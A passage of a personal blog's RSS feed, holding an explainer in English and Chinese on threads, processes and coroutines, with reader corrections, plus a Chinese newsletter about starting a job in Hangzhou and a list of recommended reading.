<p>对于自己写的小玩具，往往规模是可以控制的，确保代码的逻辑是充分完整正确的——如果不行，那这个小玩具就会被抛弃。</p>
<p>但对于一个庞大的工程，代码失控是不可避免的，屎山必然会产生，而且我也不能一走了之，更不可能“用 Rust 重写”。因此必须接受一个事实：屎山是能跑的。而对屎山的管控要从一开始就做起——我们在编码时预设这段代码会成为屎山，因此要插入足够多的 log 打印等信息，这大概也就是所谓的“可观测性”。</p>
<hr>
<p>也给自己设计一个新的季度 OKR：</p>
<ul>
<li>投入开发 <a href="https://github.com/tensorchord/pgvecto.rs" target="_blank" rel="noreferrer">https://github.com/tensorchord/pgvecto.rs</a> ，学习理解SQL、数据库和向量。获得自我管理的能力。</li>
<li>运营一个社团的博客催稿小组，并且能够固化成为社团的定番。获得运营的能力。</li>
<li>完成 xv6 最后一章文件系统的学习，在 OpenDAL 提一个 feature 的 PR。</li>
<li>学习基本的 PL ，理解数据流和控制流分析。</li>
</ul>
<p>祝大家生活愉快！</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Re: Thread and Process]]></title>
            <link>https://blog.yanli.one/re-thread-and-process-en</link>
            <guid isPermaLink="false">https://blog.yanli.one/re-thread-and-process-en</guid>
            <pubDate>Thu, 27 Jul 2023 16:00:00 GMT</pubDate>
            <description><![CDATA[This is a perennial topic, but I hope to explain it in a clearer manner.]]></description>
            <content:encoded><![CDATA[<p>Hello everyone, in this article I would like to talk about the difference between <strong>process</strong> and <strong>thread</strong>.</p>
<p>This is a commonly discussed topic and perhaps every programmer has been asked about it during interviews or exams. However, when I first learned about these concepts and searched for information online, I found that most explanations were not detailed enough or didn't cover the key points. So I would like to share my understanding on this topic and hopefully express it clearly.</p>
<h2 id="_1-threads" tabindex="-1">1. Threads <a class="header-anchor" href="#_1-threads" aria-label="Permalink to “1. Threads”">&#8203;</a></h2>
<h3 id="_1-1-what-is-a-thread" tabindex="-1">1.1 What is a thread? <a class="header-anchor" href="#_1-1-what-is-a-thread" aria-label="Permalink to “1.1 What is a thread?”">&#8203;</a></h3>
<p>Let's start with threads. What are threads? As the name suggests, a thread is like a line, referring to a sequence of program instructions executed in order. For example, if we have a+b, it has a linear logic flow: first input a, then input b, add a and b, and finally output the result. This sequential execution is also apparent in assembly language, representing what we call a &quot;line&quot; of execution.</p>
<h3 id="_1-2-thread-switching-in-an-operating-system" tabindex="-1">1.2 Thread switching in an operating system <a class="header-anchor" href="#_1-2-thread-switching-in-an-operating-system" aria-label="Permalink to “1.2 Thread switching in an operating system”">&#8203;</a></h3>
<p>A thread refers to a linearly executing program, which is a logical definition of a thread.</p>
<p>From the perspective of the CPU or the operating system, the operating system is a program running on the CPU. Assuming we have a simple CPU that works by fetching instructions, decoding them, executing them, reading and writing to memory, and writing back to registers in a sequence, it executes one instruction at a time in the order specified by the programmer.</p>
<p>When the operating system starts, it has a main thread, known as the kernel thread, which goes through initialization and enters the scheduler loop. It is important to note that the process of starting and initializing the kernel thread until it enters the scheduler is linear, just like a regular program we write, one line after another. We can refer to this as the kernel thread. Once inside the scheduler loop, a second thread appears, which are the threads of user processes. Here, when I say &quot;process&quot;, it may lead to some ambiguity, but I mean the threads of user-written application programs.</p>
<p>The user-written application program, such as a+b, is compiled into a series of instructions that represent a continuous logical flow independent of the kernel's logic. So user threads and kernel threads are two different logical entities, or two different threads.</p>
<p>During the scheduler loop, the kernel thread switches to a user thread. During this thread switch, the system saves the register state of the kernel thread and switches to the logic of the user thread. This thread switch enables the scheduler to run user-written threads, switching between the linear logic of the kernel and the linear logic of the user program. This is a functionality of the operating system kernel.</p>
<p>From the perspective of the CPU, it actually executes sequentially, but it first executes the kernel thread and then the kernel switches its thread to a user thread, achieving thread switching. Therefore, from the perspective of the CPU and the operating system, threads are defined in this way.</p>
<h3 id="_1-3-multi-threading-and-parallelism" tabindex="-1">1.3 Multi-threading and parallelism <a class="header-anchor" href="#_1-3-multi-threading-and-parallelism" aria-label="Permalink to “1.3 Multi-threading and parallelism”">&#8203;</a></h3>
<p>From a top-level perspective, from the viewpoint of writing multi-threaded programs, the purpose of having multiple threads is generally for parallel computing. The operating system can assign these threads to multiple CPUs to run simultaneously. For example, if I have two single-threaded CPUs, the operating system can assign each thread to one CPU for execution.</p>
<p>Although they use different sets of registers, they can share the same memory space. For example, if a variable written by the user is stored in a specific memory location, and now two threads need to read from this memory space, they are using the same address space. They can run on two different CPUs (assuming these two CPUs are single-threaded primitive CPUs; we know that modern CPUs have many technologies, and one CPU can actually run multiple threads simultaneously).</p>
<h2 id="_2-processes" tabindex="-1">2. Processes <a class="header-anchor" href="#_2-processes" aria-label="Permalink to “2. Processes”">&#8203;</a></h2>
<h3 id="_2-1-what-is-a-process" tabindex="-1">2.1 What is a process? <a class="header-anchor" href="#_2-1-what-is-a-process" aria-label="Permalink to “2.1 What is a process?”">&#8203;</a></h3>
<p>That was about threads. Now what about processes? A process is an isolated environment provided by the operating system to each application program, similar to a &quot;virtual machine.&quot; Why do we call it a virtual machine? Because it creates an illusion that each application program has exclusive access to a computer, and it uses a simple, linear computer with only a sequentially executing CPU and a dedicated memory.</p>
<p>The essence of a process is to provide an isolated environment for each application program, like having its own dedicated computer. A process has at least one thread, right? It has at least one segment of continuous logic, which may be implemented with multiple threads but at least one thread.</p>
<p>A piece of code, according to the concept of Turing machines, is stored in a specific location in memory. Let's not think about the physical aspect of memory, let's focus on the <strong>virtual memory</strong> provided by a process for an application program.</p>
<p>This memory is quite simple. It starts with a fixed address containing a segment of continuous code. Below that, there is a heap starting from another fixed address, and above that, there is a stack starting from a different address. This concept is known as the heap and stack. A process has this memory space. As a programmer, whether writing in a high-level or assembly language, we can consider ourselves writing code on this virtual machine and running our code on it. So when we discuss the stack and heap in memory, we are referring to the stack and heap on this virtual space.</p>
<h3 id="_2-2-how-does-an-operating-system-implement-processes" tabindex="-1">2.2 How does an operating system implement processes? <a class="header-anchor" href="#_2-2-how-does-an-operating-system-implement-processes" aria-label="Permalink to “2.2 How does an operating system implement processes?”">&#8203;</a></h3>
<p>This is what a process is. How does it simulate the exclusive use of CPU and memory? This is one of the fundamental functions of the operating system.</p>
<p>First, we have the <strong>scheduling mechanism</strong> for CPU allocation. The scheduling mechanism aims to distribute CPU time as evenly as possible, allowing each application program to run as if it has exclusive access to the CPU. When the time slice for a process expires, the hardware triggers a timer interrupt. It saves the register data, switches all calculation-related registers to the scheduler, loads the register data of the next process, and finally switches these registers to the next process. This process is invisible to the programmer. An application program is &quot;stunned&quot; and then awakened, perceiving that the registers are the same, creating the &quot;illusion&quot; that &quot;nothing happened during this time.&quot; Thus, this process perceives that it has the exclusive and continuous use of the CPU.</p>
<p>Secondly, we have the <strong>virtual memory mechanism</strong> for memory allocation. Virtual memory primarily operates through page table mapping. By following certain rules, such as dividing physical memory into segments and extracting a few segments, these segments are combined to form contiguous memory, creating virtual memory for process usage. There is an address mapping relationship between this physical memory and virtual memory, maintained by the kernel.</p>
<p>Therefore, a process is like a computer with its own dedicated processor and memory, allowing an application program or a programmer to consider themselves as writing and running code on a standalone computer. This is what a process is, essentially a simulation or abstraction of a computer.</p>
<h2 id="_3-comparison-between-threads-and-processes" tabindex="-1">3. Comparison between Threads and Processes <a class="header-anchor" href="#_3-comparison-between-threads-and-processes" aria-label="Permalink to “3. Comparison between Threads and Processes”">&#8203;</a></h2>
<h3 id="_3-1-relationship-between-multi-threading-multiple-processes-and-parallelism" tabindex="-1">3.1 Relationship between multi-threading, multiple processes, and parallelism <a class="header-anchor" href="#_3-1-relationship-between-multi-threading-multiple-processes-and-parallelism" aria-label="Permalink to “3.1 Relationship between multi-threading, multiple processes, and parallelism”">&#8203;</a></h3>
<p>Multi-processing refers to the simultaneous execution of multiple applications. Whether it is multi-threading or multi-processing, they can run in parallel on a modern computer. However, it doesn't mean that they always run in parallel.</p>
<p>For example, if I only have a single-threaded CPU, no matter how many threads I write, they cannot be executed simultaneously on that CPU; they have to take turns using the CPU. In this case, this is essentially coroutines, mentioned in the following section.</p>
<p>Alternatively, even if I have multiple physically excellent CPUs, but my operating system scheduler decides to allocate all CPU resources to one process at a time, in this situation, multiple processes cannot run in parallel.</p>
<p>Although it may sound strange, theoretically it is possible. Parallelism and multi-threading/multi-processing are not inherently interconnected.</p>
<p>In general, the purpose of multithreading is to achieve parallel computing, while the purpose of multiprocessing is not necessarily parallelism. The essence of multiprocessing is to provide isolated environments for multiple applications. Therefore, when multiple threads are used within a process, they utilize the same set of contexts, while multiple processes use different contexts and memory spaces. They are fundamentally different: with different meanings, goals, and implementation methods.</p>
<h3 id="_3-2-threads-are-not-scaled-down-processes" tabindex="-1">3.2 Threads are not scaled-down processes <a class="header-anchor" href="#_3-2-threads-are-not-scaled-down-processes" aria-label="Permalink to “3.2 Threads are not scaled-down processes”">&#8203;</a></h3>
<p>We often hear statements like &quot;a process contains multiple threads.&quot; This statement may lead to the misconception that a thread is a lower-level version of a process, a tiny process. However, this feeling is incorrect because threads and processes are two different concepts. Threads do not derive from processes. As mentioned earlier, they are two different dimensions of concepts.</p>
<h2 id="_4-coroutines" tabindex="-1">4. Coroutines <a class="header-anchor" href="#_4-coroutines" aria-label="Permalink to “4. Coroutines”">&#8203;</a></h2>
<p>Finally, there is something called coroutines. Conceptually, coroutines are indeed linear logic, as described at the beginning of this article.</p>
<p>However, unlike multithreading, coroutines do not support parallelism. Why not parallel? Because parallelism may lead to <strong>data race</strong> issues.</p>
<p>So, multiple coroutines refer to running multiple logical threads on a single thread, just like thread switching on a single-threaded CPU as mentioned earlier. It is physically sequential and does not involve parallel execution, but logically it has multiple threads.</p>
<hr>
<p>This is my understanding of the differences between multi-processing, multithreading, and coroutines. Thank you for reading.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[再谈：线程和进程]]></title>
            <link>https://blog.yanli.one/re-thread-and-process</link>
            <guid isPermaLink="false">https://blog.yanli.one/re-thread-and-process</guid>
            <pubDate>Fri, 21 Jul 2023 16:00:00 GMT</pubDate>
            <description><![CDATA[这是个老生常谈的问题，但我希望能讲得更明白一些。]]></description>
            <content:encoded><![CDATA[<p>大家好，本文我想来谈谈<strong>进程</strong>和<strong>线程</strong>的区别，即 <strong>process</strong> 和 <strong>thread</strong> 的区别。</p>
<p>这是一个老生常谈的问题，可能每个程序员都会在面试或考试中被问到。但是在我刚学习这些概念时，在网上查找资料时，我发现大部分讲解并不够详细，或者没有说到关键点。所以我想用我的理解来谈谈这个问题，并希望能清晰地表达。</p>
<h2 id="一、线程" tabindex="-1">一、线程 <a class="header-anchor" href="#一、线程" aria-label="Permalink to “一、线程”">&#8203;</a></h2>
<h3 id="_1-1-线程是什么" tabindex="-1">1.1 线程是什么 <a class="header-anchor" href="#_1-1-线程是什么" aria-label="Permalink to “1.1 线程是什么”">&#8203;</a></h3>
<p>首先，我们从线程开始说起，线程是什么呢？顾名思义，线程<strong>像一条线一样</strong>，指的是一个按顺序运行的程序逻辑。比如a+b。它是线性的逻辑，先输入 a，输入 b，然后 a 加 b，然后输出，顺序连接在一起。在汇编语言中也清晰地表现出这种顺序执行，这就是逻辑上说的一个**”线”**程。</p>
<h3 id="_1-2-操作系统中的线程切换" tabindex="-1">1.2 操作系统中的线程切换 <a class="header-anchor" href="#_1-2-操作系统中的线程切换" aria-label="Permalink to “1.2 操作系统中的线程切换”">&#8203;</a></h3>
<p>线程 (thread) 指的是一段线性执行的程序，这是逻辑意义上的线程。</p>
<p>从 CPU 的角度或操作系统的角度来看，操作系统是一个运行在 CPU 上的程序。我们假设 CPU 是一个朴素的 CPU，按照取指令、译码、运行、读写内存、写回寄存器的顺序工作，一次执行一条指令，按程序员给的指令序列顺序运行。</p>
<p>当操作系统启动时，它有一个主线程，即内核线程，经过初始化后进入调度器循环。需要注意的是，内核线程启动、初始化到进入调度器的过程是线性的，就像我们编写的普通程序一样，一行接一行，我们可以称之为内核线程。进入调度器循环之后，这时就会出现第二个线程，即用户进程的线程。这里说“进程”可能会引起一些歧义，我的意思是指用户编写的应用程序的线程。</p>
<p>用户编写的应用程序，比如a+b，编译为一系列指令，这些指令是一段连续的逻辑，与内核的逻辑无关。所以用户线程和内核线程是两个不同的逻辑，这是两个线程。</p>
<p>调度器循环中，内核线程会切换到用户线程。在线程切换时，系统会保存内核线程的寄存器状态，并切换到用户线程的逻辑。通过这个线程切换，调度器可以运行用户编写的线程，在内核的线性逻辑和用户程序的线性逻辑之间切换。这是操作系统内核的功能。</p>
<p>在 CPU 的角度，实际上它是按顺序执行的，但它先执行内核线程，然后内核会将自己的线程切换到用户线程，实现了线程切换。所以，从CPU和操作系统的角度来看，线程是这样一个东西。</p>
<h3 id="_1-3-多线程并行" tabindex="-1">1.3 多线程并行 <a class="header-anchor" href="#_1-3-多线程并行" aria-label="Permalink to “1.3 多线程并行”">&#8203;</a></h3>
<p>而从顶层，从用户编写多线程程序的角度来看，多线程的目的一般是为了并行计算，操作系统可以将这些线程分配给多个CPU同时运行。如果我现在有两个单线程的CPU，操作系统就可以将这两个线程分别放到两个CPU上运行。</p>
<p>虽然它们使用不同的寄存器，但可以共享同一个内存空间，例如用户编写的变量存储在内存的某个位置，现在有两个线程都要读取这个内存空间，所以它们使用的是同一套地址空间。它们可以在两个不同的 CPU 上运行（假设这两个 CPU 都是单线程的原始 CPU。我们知道现代的 CPU 有许多的技术，一个 CPU 其实可以同时运行多个线程）。</p>
<h2 id="二、进程" tabindex="-1">二、进程 <a class="header-anchor" href="#二、进程" aria-label="Permalink to “二、进程”">&#8203;</a></h2>
<h3 id="_2-1-进程是什么" tabindex="-1">2.1 进程是什么 <a class="header-anchor" href="#_2-1-进程是什么" aria-label="Permalink to “2.1 进程是什么”">&#8203;</a></h3>
<p>以上就是线程的概念。那么进程 (process) 是什么呢？进程是操作系统提供给每个应用程序的一个隔离环境，类似于一个<strong>虚拟机</strong>，是抽象的一台计算机。为什么说是一个虚拟机？因为它给每个应用程序创建了一种独立使用一台计算机的感觉，而且使用的是一台很朴素的计算机，只有顺序执行的 CPU 和一块独立使用的内存。</p>
<p>进程的本质是为每个应用程序提供一个隔离环境，类似独占一台计算机。一个进程至少有一个线程，对吧？至少有一段连续的逻辑，可能可以写多线程，但至少有一个线程。</p>
<p>一段代码，按照图灵机的说法，被存储在内存的某个位置。我们暂且不考虑物理内存是怎样的，我们要讨论的是进程为应用程序提供的<strong>虚拟机的内存</strong>。</p>
<p>这个内存比较朴素，从一个固定的地址开始是一段连续的代码，然后从另一个固定地址开始向上是堆，又一个地址开始向下是栈，也就是堆栈的概念。进程拥有这样一段内存。作为一个程序员，无论是写高级语言还是汇编语言，我们都可以将自己视为在这台虚拟机上编写代码，并在这台虚拟机上运行我们的代码。所以当我们讨论内存中的堆栈时，我们说的是这个虚拟空间上的堆栈。</p>
<h3 id="_2-2-操作系统如何实现进程" tabindex="-1">2.2 操作系统如何实现进程 <a class="header-anchor" href="#_2-2-操作系统如何实现进程" aria-label="Permalink to “2.2 操作系统如何实现进程”">&#8203;</a></h3>
<p>这就是进程，进程如何模拟独占的CPU和内存呢？这是操作系统的基本功能之一。</p>
<p>一是分配 CPU 的<strong>调度机制</strong>。调度机制是通过（简单来说）尽量均匀地分配 CPU，使每个应用程序都能运行，就像它拥有独占的 CPU 一样。等到一个进程的使用时间片到期了，硬件就触发一个定时器中断，先保存寄存器的数据，然后把所有计算用的寄存器切换到调度器上，调度器载入下一个进程的寄存器数据，最后把这些寄存器切换到下一个进程。这个过程是程序员不可见的，一个应用程序被“打晕”然后又被唤醒，它看到的寄存器是一样的，是内核给它维护了“这段时间无事发生”的“幻觉”，因此说这个进程看到的是一颗它独占使用、连续使用的 CPU。</p>
<p>二是分配内存的<strong>虚拟内存机制</strong>。对于虚拟内存来说，它主要通过页表映射的方式来操作。通过一定的规则，例如把物理内存切成片段，然后从中提取几个片段，并将这些片段组合成连续的内存，形成虚拟内存，供进程使用。这个物理内存和虚拟内存之间有一个地址映射的关系，由内核维护的。</p>
<p>因此，进程就像拥有独立处理器和独立内存的计算机，使得应用程序或者程序员可以认为自己是在一台独立计算机上编写和运行程序。这就是进程，它本质上是对计算机的一种模拟或者抽象。</p>
<h2 id="三、线程和进程的对比" tabindex="-1">三、线程和进程的对比 <a class="header-anchor" href="#三、线程和进程的对比" aria-label="Permalink to “三、线程和进程的对比”">&#8203;</a></h2>
<h3 id="_3-1-多线程、多进程和并行的关系" tabindex="-1">3.1 多线程、多进程和并行的关系 <a class="header-anchor" href="#_3-1-多线程、多进程和并行的关系" aria-label="Permalink to “3.1 多线程、多进程和并行的关系”">&#8203;</a></h3>
<p>多进程指的是多个应用程序同时运行。无论是多线程还是多进程，在现代计算机上都可以并行运行。但并不是说它们都一定是并行的。</p>
<p>例如，如果我只有一颗单线程的CPU，那无论我写多少个线程，它们都无法同时使用这个CPU，必须轮流切换 CPU 的使用权。这个情况其实就是协程，下文再述。</p>
<p>或者，即使我有多颗物理上的优秀CPU，但我的操作系统调度器决定一次只给一个进程分配所有的 CPU 资源，那在这种情况下，多进程也不能并行运行。</p>
<p>虽然这听起来很奇怪，但理论上是可能的。并行和多进程、多线程并不是必然的联系。</p>
<p>通常来说，多线程的目的是实现并行计算，但多进程的目的不一定是。多进程的本质是为了给多个应用程序提供隔离的环境。因此，在一个进程里使用多线程使用的是同一套上下文，而多进程使用的是不同的上下文和内存空间。它们其实是本质不同的：含意不同、目的不同、实现方式也不同。</p>
<h3 id="_3-2-线程不是小型的进程" tabindex="-1">3.2 线程不是小型的进程 <a class="header-anchor" href="#_3-2-线程不是小型的进程" aria-label="Permalink to “3.2 线程不是小型的进程”">&#8203;</a></h3>
<p>我们还常常听到这样的说法，一个进程中有多个线程。这种说法会让人误以为，线程是一个低级的进程，线程是一个微型的进程。但这种感觉是错误的，因为线程和进程是两个不同的概念。线程并不是从进程派生出来的，正如上文所述，它们是两个不同维度的概念。</p>
<h2 id="四、协程" tabindex="-1">四、协程 <a class="header-anchor" href="#四、协程" aria-label="Permalink to “四、协程”">&#8203;</a></h2>
<p>最后，还有一种称为协程的东西。协程在概念上也就是文初所述的、一个线性逻辑。</p>
<p>但它不像多线程一样支持并行。为什么不并行？因为并行可能导致<em><strong>数据竞争</strong></em>的问题。</p>
<p>所以多协程的含意就是说，<strong>在一个线程上进行多条逻辑线的运行</strong>，就像上文说的，在一颗单线程的 CPU 上做线程切换一样。它物理上是顺序执行的，不存在并行的情况，但逻辑上是有多条逻辑线。</p>
<hr>
<p>以上就是我所理解的，关于多进程、多线程和协程的区别。谢谢阅读。</p>
<hr>
<h2 id="补充" tabindex="-1">补充 <a class="header-anchor" href="#补充" aria-label="Permalink to “补充”">&#8203;</a></h2>
<h3 id="_5-1-多进程其实是一种并发需求" tabindex="-1">5.1 多进程其实是一种并发需求 <a class="header-anchor" href="#_5-1-多进程其实是一种并发需求" aria-label="Permalink to “5.1 多进程其实是一种并发需求”">&#8203;</a></h3>
<p>多进程其实是一种并发而非并行。例如一个单线程 CPU 上要跑一个支持多进程的操作系统，这其实是一个并发而不并行的需求。</p>
<h3 id="_5-2-和-chatgpt-整理一遍" tabindex="-1">5.2 和 ChatGPT 整理一遍 <a class="header-anchor" href="#_5-2-和-chatgpt-整理一遍" aria-label="Permalink to “5.2 和 ChatGPT 整理一遍”">&#8203;</a></h3>
<p><em>来自 <a href="https://twitter.com/likev" target="_blank" rel="noreferrer">handongxue</a></em></p>
<p><a href="https://poe.com/s/a20F6hxsUspRXn7tTdJh" target="_blank" rel="noreferrer">计算机中并发和并行的区别</a></p>
<h3 id="_5-3-从功能角度看待线程和协程的区别" tabindex="-1">5.3 从功能角度看待线程和协程的区别 <a class="header-anchor" href="#_5-3-从功能角度看待线程和协程的区别" aria-label="Permalink to “5.3 从功能角度看待线程和协程的区别”">&#8203;</a></h3>
<p><em>来自 <a href="https://twitter.com/zhao_yongzhen" target="_blank" rel="noreferrer">Ekstasis</a></em></p>
<p>“协程与线程的概念是很紧密的，它就是不能并行的多线程。”这句话似乎不是很准确。</p>
<p>通常情况下协程“coroutine”应该是指 <strong>cooperative multitasking</strong> (协作式多任务)的实现，而所谓线程就<strong>一般指</strong>的是 <strong>preemptive multitasking</strong> (抢占式多任务)的实现了。两种并发模型都为我们提供了独立执行流的抽象，但他们所提供抽象的不同之处在于“如何进行任务间的切换”。</p>
<p>单个CPU时，抢占式多任务中任务切换是由相应硬件机制强行终止一个任务再换上另一个任务来实现的；而协作式多任务中是任务自己通过yield，await等特殊操作来主动交出CPU控制权的。</p>
<p>抢占式多任务很容易扩展到多CPU上，因此也能很好得利用并行能力了；但协作式多任务由于只提供了主动交出控制权这样的并发模型，所以也就难以利用多CPU的并行能力了；</p>
<p>那么由上面所说的 “线程-&gt;抢占式-&gt;并行，“协程-&gt;协作式-&gt;无法并行”
两个关系来看，难道“多协程是不能并行的多线程”也对？但是！线程的定义中并没有强调“并行”，因此也有不能并行的线程模型！比如由于CPython臭名昭著的GIL(Global
Interpreter
Lock)，每个解释器线程进入指令分派循环时都需要获取这把锁，因此CPython提供的并发模型就是“线程-&gt;抢占式-&gt;无法并行，“协程-&gt;协作式-&gt;无法并行”了，，</p>
<p>当然这些话有些咬文嚼字之嫌，，，毕竟这些概念本来也就不是well-defined的。不过“协作”“抢占”两个概念以及“CPython”的实现这些东西我感觉还是挺有意思的。</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[花时来信 | 新生活 | #0x03]]></title>
            <link>https://blog.yanli.one/hana-letter-0x03</link>
            <guid isPermaLink="false">https://blog.yanli.one/hana-letter-0x03</guid>
            <pubDate>Mon, 10 Jul 2023 16:00:00 GMT</pubDate>
            <description><![CDATA[打工第一天！]]></description>
            <content:encoded><![CDATA[<p>大家好！</p>
<p>很久没有写信了，最近实在有些焦头烂额，原因是：我开始了我的打工生活。</p>
<p>昨天我回家的时候发现，已经没有快递要取了。非常开心，我感到新生活开始进入了正轨，因此决定该写写了。</p>
<p>上上周六经历了人生第一次误机。当时和小陈缠绵磨叽了一整天，晚上还跑去喝了一杯鸡尾酒。本来是九点五十五的飞机，我们颇为自信地喝到八点。然后回家取行李，再去机场——此时就是九点二十五了。值机窗口已经关闭——我们完全忘了坐飞机还要值机这回事。</p>
<p><a href="https://lh3.googleusercontent.com/pw/AIL4fc-3liFqkq1OCMHCKmzX8QJl8aTDsJRQA8lJYNC9CUGfJF-t6QK9aPQnuvONzSJ65K655TITHhl_Kk0AVvnu66AkUje1sUB5Ck6_fsmxPfiLBLh_ipCy4IDNH5J7UJe3koI95LRaLDWBgScwIS-3JoldrA=w659-h1262-s-no?authuser=0" target="_blank" rel="noreferrer">https://lh3.googleusercontent.com/pw/AIL4fc-3liFqkq1OCMHCKmzX8QJl8aTDsJRQA8lJYNC9CUGfJF-t6QK9aPQnuvONzSJ65K655TITHhl_Kk0AVvnu66AkUje1sUB5Ck6_fsmxPfiLBLh_ipCy4IDNH5J7UJe3koI95LRaLDWBgScwIS-3JoldrA=w659-h1262-s-no?authuser=0</a></p>
<p>破财消灾，我改签了第二天一大早的飞机。中午到达杭州，我先去西面的友人家里放下行李，然后立即往城东去找住处。对于第一次租房的我来说这房子也不太好找。晚上和家人复盘了一会儿，决定找个月租公寓。于是第三天就顺利了，搬进了一间还不错的公寓。地铁一趟 1h20m，那天坐了三趟。</p>
<p><a href="https://lh3.googleusercontent.com/pw/AIL4fc_sFqoIQ5PISqGuFtFOQk1V1hUePYvOKdO3FvKLGnGBf0omzEyx-h4PiECTqK6cPuX5VbTK2oGp-9-QQ_Of6Khkpzc7jspalmZwzB2sMA-0c3FMHk_pK9uRTAF5bV_6bOcCIV_np2uXWXt7qo9yKGplXQ=w947-h1262-s-no?authuser=0" target="_blank" rel="noreferrer">https://lh3.googleusercontent.com/pw/AIL4fc_sFqoIQ5PISqGuFtFOQk1V1hUePYvOKdO3FvKLGnGBf0omzEyx-h4PiECTqK6cPuX5VbTK2oGp-9-QQ_Of6Khkpzc7jspalmZwzB2sMA-0c3FMHk_pK9uRTAF5bV_6bOcCIV_np2uXWXt7qo9yKGplXQ=w947-h1262-s-no?authuser=0</a></p>
<p>接下来就是入职，然后焦头烂额地购买各种生活用品。每天都要对着淘宝和咸鱼查收快递。公司用的版本管理不是 git，也用不了 Copilot，这又是麻烦事。当然还有配置电脑、熟悉文档、入职培训。。。不一而足。</p>
<p>这一次旅行的心境是很不同的。不是上学、不是旅游，而是真的一个人到陌生城市来打工。一切都要自己处理，即使是洗衣做饭这样平常的家务，以前也是日常做的，到这里来也格外费力——还打破了一个新买的碗。周末试着在杭州逛了逛，不得不说这个气候实在不适合遛街。物价也比大连贵不少。好多次和小陈说，好想回大连。</p>
<hr>
<p>屋漏逢雨，先前便宜买的 OpenAI 账号用完了，<a href="https://t.me/setulib" target="_blank" rel="noreferrer">涩图书馆</a>也不得不暂时停运。<strong>如果有便宜的账号来源请告诉我！</strong></p>
<hr>
<p>离开大连之前还高高兴兴地玩了几天。一是考了雅思，二是去玩了桨板，三是和小陈推了一遍《底特律：变人》</p>
<p>小陈发的视频：</p>
<p><a href="https://www.xiaohongshu.com/explore/6497065300000000130365ab" target="_blank" rel="noreferrer">https://www.xiaohongshu.com/explore/6497065300000000130365ab</a></p>
<p><a href="https://www.xiaohongshu.com/explore/6494e73300000000130041e6" target="_blank" rel="noreferrer">https://www.xiaohongshu.com/explore/6494e73300000000130041e6</a></p>
<p>桨板实况：</p>
<p><a href="https://photos.google.com/share/AF1QipMNA0Qey0J76MmvuN1COPVRlZZ25k2Up9OUJQKUEWQMEBARm6SABhxhwEyExwSvbw?key=WnJHSlJ1cmZtX2ViQW1DckFydkY3dFluODBEdGhn" target="_blank" rel="noreferrer">New video by Alice Bob</a></p>
<p><a href="https://lh3.googleusercontent.com/pw/AIL4fc-FIXbhq_8kCdQfdRzsHAZvv8DxiUF-cuFK8C00QWIsBVMvh0YdLqX84wbw-rgtJWEsqzMSaMS3nKFA4E8qCW4Y4uN13TjN0Nr5hY_yiT6mazs27r7R2-Z4dJR6lbsA3xQ-rAWkIsGVQgfy9VlI04doJQ=w963-h1262-s-no?authuser=0" target="_blank" rel="noreferrer">https://lh3.googleusercontent.com/pw/AIL4fc-FIXbhq_8kCdQfdRzsHAZvv8DxiUF-cuFK8C00QWIsBVMvh0YdLqX84wbw-rgtJWEsqzMSaMS3nKFA4E8qCW4Y4uN13TjN0Nr5hY_yiT6mazs27r7R2-Z4dJR6lbsA3xQ-rAWkIsGVQgfy9VlI04doJQ=w963-h1262-s-no?authuser=0</a></p>
<p>在杭州的第一个周末，去了小河直街、大马弄，和 Morpheus 酒馆：</p>
<p><a href="https://photos.google.com/share/AF1QipOpn25awcUT-8mOMSsZdW9WgVnV6p6GgjevflXiN3HpQEXs2neCSuOzuimnXbvoKQ?key=WDJ0V2hVaklwTnFyNld1M21KbWJkaHg5MERjWUl3" target="_blank" rel="noreferrer">11 new items by Alice Bob</a></p>
<hr>
<p>我第二次在地铁站遇到这对奇特的组合。一个是中国老头，另一个是金发红脖的白人老头。</p>
<p>中国老头有些瘦小，一侧腿脚不便，走路一瘸一拐。他戴一顶军绿色鸭舌帽，手里提着一只塑料袋，里面装着四五个白面馒头。</p>
<p>白人老头高高壮壮，看来应该健康，带一只略显老旧的单肩帆布包，挺大。</p>
<p>二人都戴着口罩。中国老头露出鼻子，声音有些沙哑。白人老头则紧密遮住半个面庞，有些气喘，声音略尖。两人在地铁站末端等车，一边谈笑。</p>
<p>这二人是谁？是做什么的？是什么关系？如何结识？要去哪里？我不得而知。</p>
<hr>
<h2 id="信息食谱" tabindex="-1">信息食谱 <a class="header-anchor" href="#信息食谱" aria-label="Permalink to “信息食谱”">&#8203;</a></h2>
<h3 id="软件" tabindex="-1">软件 <a class="header-anchor" href="#软件" aria-label="Permalink to “软件”">&#8203;</a></h3>
<p><a href="https://github.com/antfu/sd-webui-qrcode-toolkit" target="_blank" rel="noreferrer">https://github.com/antfu/sd-webui-qrcode-toolkit</a></p>
<p>封装成插件的 QRcode ControlNet！</p>
<h3 id="文章" tabindex="-1">文章 <a class="header-anchor" href="#文章" aria-label="Permalink to “文章”">&#8203;</a></h3>
<p><a href="http://archive.today/2023.07.11-081551/https://zhuanlan.zhihu.com/p/636440117" target="_blank" rel="noreferrer">精神上的糖尿病：信息过载却总是恐惧错过 | 搜信源 - 知乎</a></p>
<p><a href="http://archive.today/2023.07.11-082038/https://mp.weixin.qq.com/s/9zByKJH87YM7IFa5mhhyyw" target="_blank" rel="noreferrer">小红书是当下时代精神的样本吗？</a></p>
<p><a href="http://archive.today/2023.07.11-084940/https://mp.weixin.qq.com/s/XXmW97prE8Sv_YCwf4HoLw" target="_blank" rel="noreferrer">在大学里，消失的这三年</a></p>
<h3 id="播客" tabindex="-1">播客 <a class="header-anchor" href="#播客" aria-label="Permalink to “播客”">&#8203;</a></h3>
<p><a href="https://hosting.wavpub.cn/wuliaozhai/2023/05/15/vol-393-%E6%88%91%E5%9C%A8%E6%BE%B3%E6%B4%B2%E5%BD%93%E6%8C%89%E6%91%A9%E5%B8%88%EF%BC%8C%E6%94%92%E4%BA%8660%E4%B8%87/" target="_blank" rel="noreferrer">vol.393 我在澳洲当按摩师，攒了60万</a></p>
<p><a href="https://hosting.wavpub.cn/wuliaozhai/2023/04/06/vol-384-%E6%88%91%E5%9C%A8%E5%BE%B7%E5%9B%BD%E8%B5%8C%E5%9C%BA%E5%BD%93%E8%8D%B7%E5%AE%98/" target="_blank" rel="noreferrer">vol.384 我在德国赌场当荷官</a></p>
